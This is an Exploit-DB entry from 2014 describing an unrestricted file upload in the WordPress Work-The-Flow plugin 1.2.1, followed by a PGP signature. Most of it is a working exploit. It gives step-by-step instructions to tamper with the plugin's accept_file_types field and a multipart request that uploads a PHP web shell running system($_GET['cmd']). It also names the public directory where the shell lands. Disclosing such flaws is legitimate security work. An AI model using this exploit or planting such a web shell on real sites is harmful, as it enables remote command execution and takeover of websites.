Wordpress Work-The-Flow Plugin 1.2.1 - Arbitrary File Upload



EDB-ID: 33003 CVE: N/A OSVDB-ID: 106366
Author: nopesled Published: 2014-04-24 Verified: Verified
Exploit Code:   Download Vulnerable App:    Download

Rating

(0.0)
Screenshot
Prev Home Next
# Author: nopesled
# Date: 24/04/14
# Software: https://wordpress.org/plugins/work-the-flow-file-upload/
# Company: http://wtf-fu.com/
# Version: 1.2.1
# Tested on: Windows 7
# Vulnerability: Unrestricted File Upload


Submit an image file via the wtf upload panel and intercept the POST request to /wp-admin/admin-ajax.php

By editing the data from the control 'accept_file_types', we can upload normally disallowed filetypes such as PHP.

Append '|php':

- ----------------------------123456789123456\r\n
Content-Disposition: form-data; name="accept_file_types"\r\n
\r\n
jpg|jpeg|mpg|mp3|png|gif|wav|ogg|php\r\n


Now change the extension in the data for 'filename' to '.php' and enter your desired code like so

- ----------------------------123456789123456\r\n
Content-Disposition: form-data; name="files[]"; filename="illegal.php"\r\n
Content-Type: application/octet-stream\r\n
\r\n
<?php\n
system($_GET[\'cmd\']);\n
?>\n
- ----------------------------123456789123456--\r\n

Submit this POST request and you will find your file in the directory:
/wp-content/uploads/public/wtf-fu_files/default/

It's not required to set the control 'deny_public_uploads' to true, because it still gets uploaded anyway regardless if it's enabled or not.

###################################
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Signed.
-----BEGIN PGP SIGNATURE-----
Version: Keybase OpenPGP v0.1.11
Comment: https://keybase.io/crypto

wsBcBAABCgAGBQJTWQpLAAoJEOB0UMODnV4U7QIIAIKXDQVK8fIXY0BSO4ZrHq8L
2a51JCVmpwBzrHVp87FCpYHcMXyuCXWi5joEbiJFVi5ojHTSii5ZwvBVJwvyoKcy
jexj2IvMoC30zrgSdTu9/lMd1tYGYQCSlMubFvzE0edmDCo7fH2gF8Zvfw4Lj4ng
KJOpB9HsvDUJVNlbDMl+MbGAW32m6BqG4ttdjE1bs1suDxb/JrS7okuHu1Qmpe0+
Xp50x4wUVrZSeqT5VnWDWjox2BnSGEcAKbkjFeRDBpgJyeWJGH20jXb6m4sYNLDT
gf9ml9oM5yncivMN2dJU+hp3Xyfp6rEute9jA+lcEMwZsyjlwAVFhszV4qh7X+o=
=5nDI
-----END PGP SIGNATURE-----
###################################